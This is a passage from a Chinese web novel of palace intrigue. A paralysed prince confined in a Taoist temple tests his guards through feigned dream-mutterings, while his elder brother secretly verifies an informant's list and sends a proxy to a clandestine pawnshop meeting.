随后,他从药箱里拿出纸笔,写下新的药方,仔细核对了一遍,才交给旁边的年轻道士,嘱咐他立刻去煎制,务必按时给周昕阳服用。
玄微**则再次以道术探查了周昕阳体内的气机状况。这次他的动作更加明显,指尖微微抬起,一道淡金色的微光从指尖溢出,缓缓飞向周昕阳的头颅,在他的眉心处停留了片刻。
周昕阳能感觉到,脑中的金色印记再次悸动起来,刺痛感比之前更明显了一些,却又很快被一股温和的力量压制下去。
玄微**确认封印无恙后,便不再停留,对着孙太医微微颔首,两人一同转身离去。
年轻道士送他们到门口,重新关上房门,然后便按照孙太医的嘱咐,拿着药方去煎药了
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只留下最初那两名青衣道士中的年长道士,如同沉默的守卫,伫立在静室之中,目光依旧平静地落在周昕阳身上,没有丝毫放松警惕。
门重新关上,室内恢复了之前的安静。只有周昕阳手中粗陶碗里水面的微光,映照着他晦暗不明的眼眸。
他缓缓放下水碗,碗底与床沿碰撞,发出一声轻微的声响。
瘫痪的下肢,被封镇却依然存在的金色印记;父皇严密的监控,玄微**与孙太医语焉不详的诊治;还有隐藏在暗处、与邪物、**、地下石室、断裂令牌相关的神秘势力……无数的信息在周昕阳的脑海中交织,让他的心情沉重到了极点。
这一次,因为打破梦境循环,造成了更加困顿、复杂的结局。
周昕阳缓缓放下水碗,手指无意识地摩挲着粗糙的碗沿,碗壁的触感粗糙而冰凉,让他混乱的思绪稍稍清醒了一些。
梦境循环偶然间被打破了,他带着残躯回到了现实世界,没有直接死去,已经是不幸中的万幸。
但梦境中获得的信息,或许就是他唯一的筹码。
赤阴藤,暗紫色毒草,眼状螺旋图案,断裂令牌,诡异符号,虫群,阴影气息……这些碎片化的信息,看似杂乱无章,却很可能隐藏着破解困境的关键。
还有那句在梦境中听到的“王爷前段时间,去了一趟地下通道,碰见了不该碰见的东西”……这条线索,直指玄机观地下。
或许,玄机观的地下,就藏着自己想要的答案,也藏着那些神秘势力的秘密。
可他现在,被困在这静室床上,连动弹都做不到,更别说去探查玄机观的地下了。
他需要帮助,需要一双眼睛,一双耳朵,一个能帮他探查消息、传递信息的人。
二姐周灵薇?
她显然很担心自己,却被父皇限制了接近,根本无法提供实质性的帮助。
还是说,这玄机观内,还存在着其他未被察觉的、可利用的漏洞?
周昕阳的目光,不经意地扫过门口那如同泥塑木雕般的青衣道士。
他们是看守,是监视者,是自己的敌人。
但有时候,最坚固的堡垒,往往能从内部找到缝隙。这些道士是否真的对玄微**和父皇忠心耿耿?
他们之间是否存在矛盾?
有没有可能策反其中一人?周昕阳的心中泛起一丝微弱的希望。
他闭上眼睛,仿佛因疲惫再次陷入昏睡。
长长的睫毛掩盖住眸中的光芒,呼吸变得均匀绵长,看起来与真正睡着无异。
可脑海中,无数念头却如同暗流般疯狂涌动,一个模糊而冒险的计划,正在绝望的冰层下,悄然孕育。
第154章 二姐来了
接下来的几个小时,周昕阳表现得异常安分守己。
他深知,在没有足够的力量和机会之前,任何轻举妄动都可能招来杀身之祸。
只有麻痹敌人,降低他们的警惕,才能找到可乘之机。
他大部分时间都在假装昏睡或静养。
醒来时也只是神情恹恹地躺着,眼神空洞,仿佛对周围的一切都失去了兴趣。
偶尔会艰难地喝点水,吃几口道士送来的寡淡药粥。
药粥没有任何味道,甚至带着一丝苦涩,周昕阳却从不挑剔,总是小口小口地吃完,表现出一种逆来顺受的姿态。
他绝口不提自己的腿,也不再追问任何敏感话题,仿佛已经接受了自己瘫痪在床、被软禁的现实。
只是偶尔会无意地,带着茫然和痛苦的神色,低声念叨几句含糊的词语。
“噩梦”、“虫子”、“黑暗”、“好冷”……这些词语断断续续地从他的喉咙里溢出,声音微弱,带着浓浓的恐惧,仿佛真的被恐怖的梦境记忆所困扰,无法挣脱。
他在扮演一个被伤痛和恐惧击垮、神志尚未完全清醒的虚弱病人。
这个角色很安全,也很容易让看守放松警惕。而他的真正目的,就是在这种昏沉的掩护下,不动声色地观察,收集一切有用的信息。
他首先观察的是那两个道士的轮换规律。
经过几天的仔细留意,他发现两人每一个时辰换一次班,时间掐得极为精准,没有丝毫偏差。
换班时,两人会进行简短的交接,交接的内容不多,大多是关于他的饮食、睡眠和身体状况,语气依旧平淡无波,却透着一种严苛的纪律性。
然后是他们的行为习惯。
那个年长的道士,性格寡言谨慎,除了必要的交流,几乎从不说话,大部分时间都在打坐调息,或者站在原地闭目养神,即使睁开眼睛,目光也始终不离他的床榻,警惕性极高。
而那个年轻一些的道士,相对话多些,偶尔会在换班间隙,与其他送药、送饭的低阶道士说上几句话,但内容都很简单,从不涉及任何敏感信息,警惕性也丝毫不逊于年长道士。
他还观察到他们与外界的接触方式。
送饭、取药都是由低阶道士负责,这些低阶道士从不踏入内室,只是将东西放在门口,由值班的道士接进来。
偶尔会有低阶道士前来传话,也是隔着房门,低声说完就走,从不逗留。
整个静室就像一个独立的囚笼,与外界的联系被严格限制在最低限度。
除此之外,他还注意到,每过三个时辰,玄微真人都会亲自来一次。
他依旧是那副清冷出尘的模样,每次来都会用道术探查他体内的气机状况,确认封印没有问题后,便会离开。
偶尔会问几句“今日感觉如何”“饮食是否正常”之类的套话,语气平淡,没有丝毫关切之意,更像是在完成一项例行公事。
孙太医早中晚各一次诊脉、调整药方。
他每次来都会仔细询问周昕阳的感受,观察他的气色,脸上的忧色始终未散,显然对他的病情颇为担忧。
从孙太医的神色中,周昕阳能感觉到,自己的伤势恢复得极为缓慢,甚至可以说是停滞不前。
日子在压抑的寂静和汤药的苦涩中缓慢流逝。
周昕阳的身体依旧虚弱,双腿也毫无知觉,仿佛真的成了一具没有生气的摆设。
但他能清晰地感觉到,随着汤药的喝下,药力确实在缓慢滋养着受损的经脉脏腑。
那种无处不在的阴寒刺痛感,比之前稍稍缓解了一些,让他的精神状态好了些许。
玄微真人的封镇,也有效压制着脑中印记的异动。虽然针扎般的刺痛仍会不时袭来,却远不如最初那般剧烈,频率也降低了许多。
这让他得以在假装昏沉的掩护下,更清晰地思考,更细致地观察周围的一切。
就在周昕阳于半昏半醒间,默默梳理着观察所得,思考着如何利用那个年轻一些的道士作为突破口时——
“吱呀——”
静室的门,再次被推开了。
这一次,开门的声音比往日要大一些,并非刻意放轻,而是带着一种寻常的、甚至有些急促的力道。
紧接着,一阵清雅的、混合着淡淡梅花冷香的微风,先于人影卷入室内,瞬间冲淡了空气中弥漫的苦涩药味。
周昕阳的心猛地一跳,这香气……是二姐惯用的熏香!
他霍然睁开眼,还未及转头看向门口,一个穿着淡紫色宫装、外罩银狐轻裘的纤细身影,已如同被风吹入一般,快步闯了进来。
来人正是灵薇公主,周昕阳的二姐,周灵薇。
她发髻微有些散乱,几缕青丝从簪边滑落,贴在略显苍白的脸颊旁。一双往日总是含着灵动笑意的杏眼,此刻却布满了血丝,眼眶微红,显然是哭过,或是多日未曾安眠。
她身上那件做工精致的银狐轻裘沾了些夜露,下摆处甚至还带着几片未来得及拂去的、从庭院带来的枯叶碎屑,显然是来得极为匆忙。
“九弟!”
周灵薇一眼就看到了床上睁着眼睛的周昕阳,那双原本黯淡的眼眸瞬间亮了起来,像是燃起了两簇小小的火焰。
她甚至顾不上理会门口欲言又止、面露难色的值守道士,也顾不上什么公主仪态,三两步就冲到了床榻边,猛地抓住了周昕阳露在被子外、冰凉的手。
她的手同样冰凉,甚至还在微微颤抖,握得周昕阳的手生疼。
“九弟!你醒了?你真的醒了?!”周灵薇的声音带着难以置信的颤抖,和一种失而复得般的巨大惊喜,她弯下腰,仔仔细细地打量着周昕阳的脸,目光在他苍白的面色、干裂的嘴唇、以及那双虽然睁开却依旧显得疲惫茫然的眼眸上逡巡,仿佛要确认眼前的人是否真实。
“姐……”周昕阳喉咙发干,嘶哑地吐出这一个字,心中瞬间涌起惊涛骇浪!
她怎么来了?
父皇不是下旨不让人来探视吗?
她是怎么进来的?
值守的道士为何没有强行阻拦?
难道父皇改变了主意?
不,绝不可能!
玄微真人和那两个道士的态度说明一切如旧。
那二姐此刻的出现,是经过了父皇的默许,还是……她用了什么法子强闯进来的?
无数个问题瞬间冲入脑海,但周昕阳面上却只来得及表现出最直接的反应——惊愕,茫然,以及一丝在至亲面前终于流露出的、无法掩饰的脆弱和委屈。
他眼圈迅速泛红,反手紧紧握住周灵薇冰凉的手指,仿佛抓住了救命稻草。
“姐……你怎么来了?我……我以为……”他语无伦次,声音哽咽。
第155章 试探
“我怎么能不来!”周灵薇的眼泪终于夺眶而出,沿着苍白的面颊滑落,滴在周昕阳的手背上,滚烫。
“你昏迷了这么久,人事不省,我被拦在外面,急得……急得……”她哽咽得说不出话来,只是更紧地握住弟弟的手,仿佛一松手他就会消失。
门口,那值守的年长道士眉头微不可察地皱了一下,似乎对周灵薇的闯入有些不满,但他显然认得这位公主,也清楚其身份,最终没有上前强行拉开,只是向前走了两步,站在一个既能听清对话、又随时可以干预的位置,垂手肃立,面无表情。
周灵薇似乎这时才意识到室内还有旁人,她深吸一口气,用袖子胡乱擦了擦脸上的泪痕,努力让自己的声音平静一些,但通红的眼眶和微微颤抖的肩膀依旧泄露了她的情绪。
她转头,目光锐利地扫过门口的道士,又看向跟进来的、此刻垂首立于门边的一名中年宦官——正是之前提到过的、皇帝身边的内侍总管李公公。
“李公公,”周灵薇的声音带着一丝不易察觉的冷硬,“我与九弟说几句话,可否请二位……暂且回避?”
李公公抬起那张总是挂着谦卑笑容、此刻却显得格外谨慎的脸,微微躬身,声音尖细却清晰:“公主殿下,陛下有旨,泽川王殿下需静养,不宜久扰,亦不宜……”他顿了顿,看了一眼周昕阳,“亦不宜情绪过于激动,以免牵动伤势。还请公主殿下体恤王爷玉体,长话短说。”
这话说得客气,意思却明确:可以说几句,但不能久留,更不能刺激到周昕阳。
周灵薇咬了咬下唇,眼中闪过一丝怒意,但终究没有发作。
她转回头,重新看向周昕阳,努力挤出一个安抚的笑容,尽管那笑容比哭还难看。
“昕阳,你感觉怎么样?孙太医怎么说?腿……”她的目光落向周昕阳被子下毫无动静的下肢,声音再次哽咽,几乎说不下去。
周昕阳摇摇头,勉强扯出一个虚弱的笑容:“没事……孙太医说,慢慢调理,总会好的。”
他避重就轻,随即紧紧盯着周灵薇的眼睛,仿佛要从她眼中看出所有的真相,“姐,地宫……到底发生了什么?我只记得……很乱,很吵,然后……就什么都不知道了。”
这是周昕阳醒来后,第一次正面、直接地询问梦境中发生的事情。
他问得急切,带着劫后余生的惶惑,和对自己记忆缺失的恐惧,眼神紧紧锁定周灵薇,不放过她脸上任何一丝细微的变化。
这一次的打破循环,令他恐惧莫名。
因为本该出现的记忆,迟迟未曾出现,他也不知道究竟发生了什么?
难道真如年长道士所言,自己昏迷了数月?
那岂不是说,外面已经天翻地覆了?
周灵薇的身体几不可察地僵了一下,下意识地瞥了一眼门口的李公公和道士,手指微微收紧。
周灵薇沉默了几息,才缓缓开口,声音压得很低,语速也比平时慢了许多,仿佛每个字都在斟酌。
“那日地宫……确实出了事。”她避开周昕阳的目光,转而看向他苍白的手,声音艰涩,“是刺客。有贼人不知怎地潜入了玄机观地下,触动了禁制,引发了混乱。你和……几位值守的侍卫、道士,都受了波及,中了毒……”
她停顿了一下,似乎在组织语言,或者说,在筛选可以说出的部分。
“贼人很狡猾,用了极其诡异的毒。孙太医和玄微真人费了很大力气,才勉强稳住你的性命。你昏迷了很久,我一直想来看你,但父皇……”
她声音更低,带着一丝不易察觉的怨怼和无奈,“父皇担心有危险,也怕……也怕再出意外,所以下旨让你在此静养,任何人不得打扰。我求了很久,今日才得允进来片刻。”
她这番话,说得合情合理,与之前孙太医、玄微真人及侍卫道士的说法基本一致,也解释了为何直到现在才来探望。
但周昕阳敏锐地捕捉到了其中的关键——她用了波及这个词,并且含糊地提到了地宫出事和触动禁制,却没有具体描述任何细节,比如他为何会出现在地宫深处,比如他究竟遭遇了什么,比如那些刺客的目标到底是什么。
这更像是一种官方的、经过修饰后的说辞。
而且,她说到父皇担心有危险时,那短暂的停顿和语气中隐藏的情绪,让周昕阳更加确定,父皇的保护,绝不仅仅是因为担心他的安全那么简单。
周灵薇似乎也意识到自己说得太过简略,她抬眼看了看周昕阳,见他依旧目光灼灼地盯着自己,眼神里满是渴求和茫然,心中一软,补充道:“九弟,别想那么多了。你现在最重要的就是养好身体。那些贼人……”
她咬了咬牙,“父皇已经下令彻查,一定会给你一个交代的。”
交代?
周昕阳心中冷笑。
什么样的交代?
是找出几个替罪羊,还是真的能挖出背后的神秘势力?
他看着周灵薇明显憔悴却强打精神的脸,知道从她这里恐怕很难问出更多关于地宫事件本身的细节了。
要么她真的知道得不多,要么就是受到了严令,不能多说。
他必须换个方式,更隐蔽地获取信息。
周昕阳脸上的茫然和恐惧之色更浓,手指无意识地抓紧了周灵薇的手,声音带着颤抖:“姐……我好害怕……我总做噩梦……梦见……黑漆漆的,好多虫子……还有……还有奇怪的声音,像水滴,又像……又像什么东西在爬……醒过来,腿就动不了了……”
他语无伦次地说着,眼神涣散,仿佛真的被恐怖的梦境记忆折磨得不轻。
他刻意将梦境中的片段——溶洞的黑暗、虫群的窸窣、阴影的滴水声——模糊地掺杂在一起,用一种近乎呓语的方式说出来。
他要看看,周灵薇,或者说,在场的其他人,对这些梦境碎片中的事情,会有什么反应……
周灵薇闻言,脸色瞬间变得更加苍白,眼中闪过极度的痛惜和愤怒,但更多的是一种深切的担忧。
第156章 不能坐以待毙
她握紧周昕阳的手,急切地安抚道:“不怕,不怕,都是梦,是假的!是那毒……那毒伤神,你才会做这些噩梦。孙太医说了,等你体内余毒清了,这些都会好的。”
她的反应更多的是对弟弟遭受痛苦的愤怒和心疼,似乎并未对他描述的虫子、滴水声等细节表现出特殊的警觉或联想。
但周昕阳眼角的余光,却敏锐地捕捉到,门口肃立的年长道士,在他提到虫子和滴水声时,垂在身侧的手指,几不可察地微微动了一下。
那动作极其细微,快如闪电,若非周昕阳此刻全神贯注地观察,几乎无法察觉。
而那位一直眼观鼻、鼻观心,仿佛不存在的李公公,低垂的眼睑下,似乎也有一丝极淡的精光一闪而过。
有反应!
虽然很轻微,但确实有!
周昕阳的心跳快了几拍。
这说明,他梦中所见,并非完全虚幻,至少虫子和某种滴水般的声响,是现实中也存在的,或者至少是与某些现实中的事物相关联的,以至于让这些知情者产生了瞬间的警觉。
这更加印证了他的猜测——玄机观地下,或者说与地宫事件相关的秘密,远比他想象的更深,也与他梦境中的遭遇有着千丝万缕的联系。
“虫……好多虫……背上有绿光……还有……有东西在滴水……好臭……”周昕阳继续梦呓着,声音越发微弱飘忽,眼神也更加涣散,仿佛随时会再次昏睡过去,但抓着周灵薇的手却更紧了,显露出潜意识里的恐惧。
周灵薇只当他被噩梦魇住了,心疼得无以复加,连声安慰,用帕子轻轻擦拭他额角渗出的冷汗。
而门口的年长道士,这次连手指都没有动,但周昕阳能感觉到,那道落在他身上的、平静无波的目光,似乎微微凝实了一瞬,仿佛带着更深的审视。
李公公则依旧低眉顺眼,仿佛什么都没听到。
“姐……我是不是……再也站不起来了?”周昕阳忽然清醒了一些,目光聚焦在周灵薇脸上,带着绝望的哀切,问出了这个他最关心的问题,也将话题从危险的回忆稍微拉回了一些。
周灵薇的眼圈又红了,她强忍着泪水,用力摇头:“不会的!孙太医医术高明,玄微真人道法通玄,他们一定有办法的!父皇……父皇也在想办法,一定会治好你的!”
她的语气笃定,却掩不住眼底深处的一丝不确定和忧虑。
就在这时,门外传来了轻微的脚步声,之前离开去煎药的年轻道士端着一个热气腾腾的药碗回来了。
浓郁的药味瞬间弥漫开来,掩盖了之前周灵薇带来的淡淡梅香。
年轻道士目不斜视,径直将药碗端到床边,看了一眼紧握着周昕阳手的周灵薇,略微停顿了一下,似乎在斟酌措辞。
周灵薇深吸一口气,知道自己停留的时间差不多了。
她松开周昕阳的手,替他掖了掖被角,语气轻柔却坚定:“九弟,先把药喝了。姐姐……姐姐下次再来看你。你要听话,好好吃药,好好休息,快点好起来。”
说完,她站起身,转向李公公和两名道士,脸上的柔弱和悲伤收敛了几分,恢复了公主应有的端庄,尽管眼圈依旧红肿。
“有劳李公公,有劳二位道长照料九弟。昕阳年幼,遭此大难,心神不稳,若有言语冒犯或行止失当之处,还望多多包涵,以他王体为重。”她微微颔首,语气客气中带着不容置疑的威仪。
李公公连忙躬身:“公主殿下言重了,此乃老奴(奴婢)分内之事。”
两名道士也稽首还礼,口称“不敢”。
周灵薇最后深深看了一眼床上的周昕阳,那眼神复杂无比,有关切,有痛惜,有无奈,还有一丝欲言又止的挣扎,最终都化为一声几不可闻的叹息。
她没有再多说什么,转身,带着那阵清冷的梅香,如来时一般匆匆离去,只是背影显得格外单薄和沉重。
门被轻轻关上,隔绝了那道纤细的身影,也隔绝了外界最后一丝鲜活的气息。
静室内再次恢复了令人窒息的寂静,只剩下浓重的药味,和床边端着药碗、如同石像般的年轻道士。
周昕阳缓缓闭上眼睛,仿佛因方才的情绪激动和回忆噩梦而耗尽了力气。
他顺从地任由年轻道士扶起他,将苦涩的药汁一勺勺喂入他口中。
药很苦,带着难以言喻的腥气,但他面不改色地全部喝下。
喝完药,年轻道士扶他重新躺好,仔细检查了被褥,确认无误后,便又退回了门口的位置,与年长道士并肩而立,继续他们无声的守卫。
周昕阳背对着门口,面向墙壁,仿佛沉沉睡去。
只有他自己知道,此刻他的内心是何等的不平静。
二姐的到来,证实了他被严密隔绝的现状,也带来了有限却关键的信息。
至少他确定了,父皇的保护旨意并非虚言,而且异常严格。
地宫事件的官方说法是刺客引发混乱,自己被波及中毒,这与孙太医等人的说法吻合,显然是统一对外的口径。
但二姐话语中的含糊其辞,以及那两个道士和李公公对他梦呓的细微反应,都说明真相远不止于此。
更重要的是,他从二姐的眼神和未尽之言中,感受到了一种深切的无力感和隐隐的焦虑。
她似乎在担忧着什么,不仅仅是他的伤势,可能还有别的,更深层次的东西。
是朝堂的局势?
是父皇的态度?
还是别的什么危险?
而自己这双腿……孙太医和玄微真人的话虽然留有余地,但结合他们讳莫如深的态度和二姐强颜的安慰,周昕阳几乎可以肯定,恢复的希望极其渺茫,甚至可能根本就是无望。
他们或许只是在用药物和道术拖延时间,或者……在等待某个时机?
一个让他彻底安静下去的时机?
这个念头让周昕阳心底发寒。
不,绝不能坐以待毙!
第157章 老二的行动
双腿瘫痪,行动受限,是他目前最大的困境,但并非绝境。
梦境循环赋予他的,不仅仅是那些破碎的记忆和信息,更是一种在绝境中求生的本能和敏锐的洞察力。
他必须利用好现有的每一点资源,每一条线索。
首先,是观察。
他需要更仔细地观察这两个道士,观察玄微真人和孙太医每一次到来的细节,观察这间静室乃至整个玄机观守卫的每一个漏洞。
其次,是试探。
今天用梦呓的方式,已经试探出虫子和滴水声这两个关键词与某些现实事物关联,引起了守卫的警觉。
这是一个好的开始。
他可以继续用这种看似无意识的方式,抛出更多的梦境中的细节,观察他们的反应,一点点拼凑真相。
比如,那暗紫色毒草的气味?
那断裂令牌的触感?
那眼状螺旋图案?
每次只需要抛出一点点,掺杂在痛苦的**或茫然的呓语中,不会引起太大的怀疑,却可能为他打开一扇窥探秘密的窗户。
再者,是内应。
那个年轻道士,或许是一个潜在的突破口。他比年长道士稍微活泼一些,偶尔会与低阶道士有简短交流。
如果自己能找到合适的机会,用合适的方式……
但这需要极其谨慎。
一个不好,就可能打草惊蛇,引来更严密的监视,甚至杀身之祸。
最后,也是最重要的一点——他必须重新尝试感应、控制脑内的金色印记。
玄微真人的封镇虽然压制了印记的异动,但也阻隔了他与印记的部分联系。
这枚印记是他身上最大的变数和危险,但也可能是他破局的关键。
在梦中,这枚印记曾与那断裂令牌产生共鸣,爆发出强大的力量。
在现实中,它是否也能被引导、被利用?
哪怕只是极其微弱的一丝力量,或许都能带来意想不到的转机。
当然,这非常危险。玄微真人明确警告过,妄动印记可能引动反噬,危及性命。
但现在的他,与坐以待毙又有何异?
他需要力量,哪怕这力量是饮鸩止渴。
不过这不急,他还有机会,今夜的梦境,就是他尝试解决当前困境的机会。
只要治疗好身上的伤势,打破梦境循环,他就可以重新站起来……
与此同时,另一边,周·炜廷的书房内,神秘人刚刚离去。
书房重归黑暗,唯余窗外清冷的月光,透过窗棂的缝隙,在地板上投下几道惨白的光痕。
周·炜廷没有立刻点燃新的蜡烛。
他静坐在黑暗中,指尖无意识地敲击着那个冰凉的乌木盒子,发出笃、笃的轻响,如同他此刻不平静的心跳。
名单上的名字在他脑海中反复滚动,每一个都像一枚投入死水的石子,激起层层疑虑的涟漪。
王德水,一个票号掌柜,却能经手流向三皇子关联产业的巨款。
赵元朗,兵部一个不起眼的主事,其家人购置田产的款项来源却暧昧不明,儿子还与老三的侍卫过从甚密。
最让他在意的是刘嬷嬷——淑妃宫中的旧人,一个本应默默无闻、了此残生的老宫女,为何会病故出宫后,反而引得不明身份之人频频夜访?
她的侄儿,一个京兆府的小小捕快,又为何能恰好数次为老三的产业化解小麻烦?
巧合太多,就不再是巧合。
还有那个胡商萨比尔,萨迪克商会……这个名字让他心头微动。
西域,又是西域。
老九的银壳怀表据说就来自西域贡品,如今这神秘人也似乎与西域脱不开干系。
老三与西域胡商有勾连,是否也与那怀表,或者说,与悼恭太子的旧事有关?
陈太监、妙手书生、无影盗柳随风……这些人串联起来,勾勒出的是一张潜藏在水面之下,却触角深远、功能齐全的网络——宫内眼线、伪造高手、情报刺探、甚至可能存在的武力支持。
老三啊老三,你果然所图非小,也果然……够狠,够周全。
周·炜廷的嘴角抿成一条冰冷的直线。
他不得不承认,在暗处的经营和布局上,自己确实落后了不止一筹。
若非今夜这不速之客,他恐怕还被蒙在鼓里,天真地以为老三只是在父皇面前多卖了几分乖巧。
然而,这份名单和神秘人本身,就可靠吗?
会不会是老三察觉到了什么,故意抛出的诱饵,引他上钩,然后借宸察院或父皇之手除掉自己?
抑或是别的势力,比如老大残余的党羽,或者朝中某些看老三不顺眼的势力,想借他这把刀?
可能性太多,他不敢轻信。
“必须验证。”周·炜廷在黑暗中低语,声音冰冷而坚定。
名单上的人,他要查,而且要尽快查,秘密地查。
但他不会全信,也不会立刻按照神秘人指引的方向行动。他需要自己的眼睛和耳朵,去分辨真伪,去评估风险。
他重新点燃了蜡烛,昏黄的光晕再次充盈书房。
他没有再看那名单,而是拿起了那枚奇特的螺旋纹令牌。
令牌在烛光下泛着幽暗的光泽,那螺旋纹路看久了,竟让人觉得有些眩晕,仿佛要将人的视线吸进去。中心那一点凹陷,颜色比周围略深,像是被什么东西反复摩挲过,又像是……滴过什么东西留下的痕迹。
“每月朔、望,子时前后,五味斋后巷第三家当铺……”周·炜廷默念着神秘人留下的联络方式,眼神闪烁。
朔望之日,正是月初和月中,月相变化之时。
子时,阴阳交替,万籁俱寂。
这个时间地点,选得颇有几分鬼祟隐秘的意味。
他自然不会亲自去,也不会派身边最得力的心腹去。风险太大,不可控因素太多。
心中渐渐有了计较。
他要找一个替身,一个足够机灵、足够忠心,但又不那么起眼,甚至最好能与自己明面上的势力撇清关系的人。
这个人要去探探路,看看那五味斋后巷的当铺是否真的存在,接头暗号是否有效,更重要的是,摸摸那所谓西域来的老朋友的底细。
同时,他要利用自己的渠道,去验证名单上的信息,尤其是与老三关联最直接、也相对最容易查证的那几条。
双管齐下,方能最大程度地规避风险,同时获取有价值的信息。
打定主意,周·炜廷不再犹豫。
他迅速铺开一张信纸,研墨提笔,用极其隐晦的措辞写下几道指令。
他召来了另一名绝对忠诚、且极少在外人面前露面的暗卫,将指令和一份誊抄的、只包含王德水和赵元朗信息的简短名单交给他,命他即刻通过另一条更为隐秘的渠道送出,调动那些埋藏得更深的暗线去核实。
做完这些,他小心地将乌木盒中的绢纸原件和令牌收好,藏在书房一处只有他自己知道的隐秘夹层中。
然后,他拿起那枚之前被自己拍在桌上的玉佩,在掌心摩挲着,眼神明灭不定。
“老三,我的好三弟,你究竟在谋划什么?”他低声自语,语气复杂,“悼恭太子……银壳怀表……老九……邪物案……西域……”
这些看似散乱的线索,似乎被一根无形的线串联着。而线的另一端,仿佛指向某个深不见底的漩涡。
他现在还看不清全貌,但直觉告诉他,这潭水比他想象的更深,更浑。
而神秘人的出现,以及他带来的礼物,就像是在这潭浑水中,投入了一块巨石,既可能惊出潜藏的鱼,也可能……将他一起拖入水底。
是福是祸,犹未可知。
但他周·炜廷,从来不是坐以待毙之人。
他将玉佩紧紧握在手中,冰凉的触感让他发热的头脑保持着清醒。
棋盘已经铺开,对手已经落子,他不能再犹豫不决了。
第158章 现实几天
接下来的几天,京城表面依旧维持着诡异的平静。
朝会上,昭明帝神色如常,处理政务,对几位皇子的态度也看不出明显偏颇,只是召见三皇子周焕章议事的次数,似乎比以往更频繁了些。
二皇子周·炜廷依旧低调,除了必要的奏对,几乎不在朝堂上主动发言,下朝后也多闭门谢客,仿佛真的收敛了心思,安分守己。
宸察院的耳目依旧无处不在,但或许是周·炜廷刻意低调的缘故,盯在他身上的视线,似乎比前阵子略微松了那么一丝——当然,也可能是他的错觉。
暗地里,周·炜廷派出的两路人马都在悄然行动。
一路是核查名单的暗线。
关于王德水和赵元朗的初步回报很快传来,与名单上所载信息大致吻合,甚至挖出了更细致的银钱往来时间和中间人,这让他对名单的真实性信了五六分。
而关于刘嬷嬷的调查则遇到了些许阻力,那个甜水巷的院子似乎被一股无形的力量保护着,他的人不敢靠得太近,但确实观察到有神秘人在夜间出入,行踪诡秘。
另一路,则是寻找合适的替身。
这个人选需要谨慎再谨慎。最终,他选定了一个人——府中一个老管事的远房侄孙,名叫阿福。
阿福年纪不大,约莫二十出头,人看起来憨厚木讷,实际上心思活络,懂得看眼色,而且因为关系拐了几道弯,几乎没人会把他和二皇子府直接联系起来。
更重要的是,阿福曾在西域商队里混过几年,懂几句简单的胡语,对西域的规矩和做派略知一二,正适合去探那五味斋的底。
周·炜廷没有亲自见阿福,而是让那名老管事去交代。只说是替一位贵人跑趟腿,送个东西,探个口风,事情办成了有重赏,办砸了或走漏了风声,后果自负。
他给了阿福那枚螺旋纹令牌的图样,教会他接头暗语,又细细叮嘱了各种可能遇到的情况及应对之法,尤其是如何观察、如何记忆、如何不着痕迹地探听虚实。
阿福虽有些紧张,但听到重赏,又见是替贵人办事,还是咬牙应承下来。
转眼,便到了本月的望日,月圆之夜。
子时前后,京城已陷入沉睡,只有打更人悠长的梆子声在寂静的街道上回荡。
五味斋所在的西城,白日里是繁华的市井,到了此时,也只剩下零星几点灯火,大多商铺早已关门歇业。
阿福穿着一身半新不旧的棉袍,缩着脖子,揣着怀里用布包好、仿制得惟妙惟肖的假令牌,按照指示,拐进了五味斋旁那条狭窄幽深的后巷。
巷子里没有灯,只有清冷的月光勉强照亮脚下坑洼不平的青石板路。
空气中弥漫着一股混杂着食物馊味、污水和灰尘的古怪气息。阿福心里打着鼓,深一脚浅一脚地往里走,数到第三家。
那是一家极其不起眼的当铺,门脸窄小,黑漆木门紧闭着,门上连块招牌都没有,只在门楣上方挂着一块被油烟熏得看不清原色的木牌,隐约能看出个“當”字的轮廓。
窗户也用厚厚的木板封死,一丝光也透不出来,与旁边几家还隐约有点动静的铺子相比,死气沉沉。
阿福在门口踌躇了一下,回头看了看空无一人的巷子,咬了咬牙,上前,按照约定,不轻不重地叩了五下门环——三长两短。
叩门声在寂静的巷子里显得格外清晰。
里面没有任何反应。
阿福的心提到了嗓子眼,莫非找错了地方?
或是那人骗了自己?
他又等了几息,正要再叩,那扇黑漆木门却无声地开了一条缝,刚好容一人侧身通过。
没有灯光透出,门后一片漆黑,仿佛一张择人而噬的巨口。
一个低沉嘶哑的声音从门缝里传来,说的竟是略带口音的官话:“典当何物?”
阿福深吸一口气,压住狂跳的心脏,将怀中仿制的令牌露出一个角,低声道:“西域来的老朋友,托我捎句话。”
门后的黑暗沉默了一瞬,随即,门缝开大了一些。“进来。”
阿福侧身挤了进去。
门在他身后悄无声息地关上,隔绝了外面微弱的光线。
眼前顿时一片漆黑,伸手不见五指,只有一股浓烈的、混合着陈旧木头、灰尘和某种奇异香料的味道扑面而来,呛得他差点咳嗽出来。
“这边。”那个嘶哑的声音在前方响起,伴随着轻微的脚步声。
阿福努力睁大眼睛,勉强适应黑暗,隐约看到前方似乎有个模糊的人影轮廓在移动。他不敢怠慢,连忙跟上。
似乎穿过了一个狭窄的过道,脚下是木质地板,踩上去发出轻微的吱呀声。
拐了两个弯,前方终于出现了一点微弱的光亮,来自一扇虚掩着的房门。
人影在房门前停下,推开了门。
门内是一间小小的厢房,陈设极为简陋,只有一张桌子,两把椅子,桌上点着一盏豆大的油灯,灯焰如豆,勉强照亮方寸之地。
一个同样穿着黑色劲装、脸上蒙着黑布、只露出一双精光四射眼睛的人,正站在桌旁,冷冷地看着他。
“令牌。”蒙面人言简意赅,声音正是刚才门外那个。
阿福连忙从怀中掏出用布包好的假令牌,双手递了过去。
蒙面人接过,走到油灯下,仔细审视。他看得很慢,手指摩挲着令牌的边缘和纹路,尤其是那个螺旋纹的中心凹陷处。片刻后,他抬头,目光锐利地看向阿福:“只有这个?口信呢?”
阿福按照周·炜廷的吩咐,低声道:“那位朋友说,东西看过了,很有意思。他想知道,关于柳随风和甜水巷,最近有没有什么新消息?价钱好商量。”
这是周·炜廷精心设计的问题。
既点明了他收到了名单并感兴趣,又抛出了一个名单上相对敏感且可能有时效性的信息,用来试探对方的情报能力和反应。同时,价钱好商量既显示了诚意,也留下了讨价还价的余地。
第159章 老三,我们走着瞧
蒙面人眼神没有丝毫波动,似乎对这个问题并不意外。他将令牌递还给阿福,转身从桌下的暗格里取出一个同样质地的乌木小筒,只有拇指粗细,三寸来长。
“消息在里面。老规矩,看完即毁。至于价钱……”蒙面人顿了顿,声音依旧嘶哑平淡,“那位朋友第一次合作,这消息,算是添头。若下次还有需要,可凭令牌再来。需要什么,提前想好,一次一问,银货两讫。”
说完,他不再多言,做了个送客的手势。
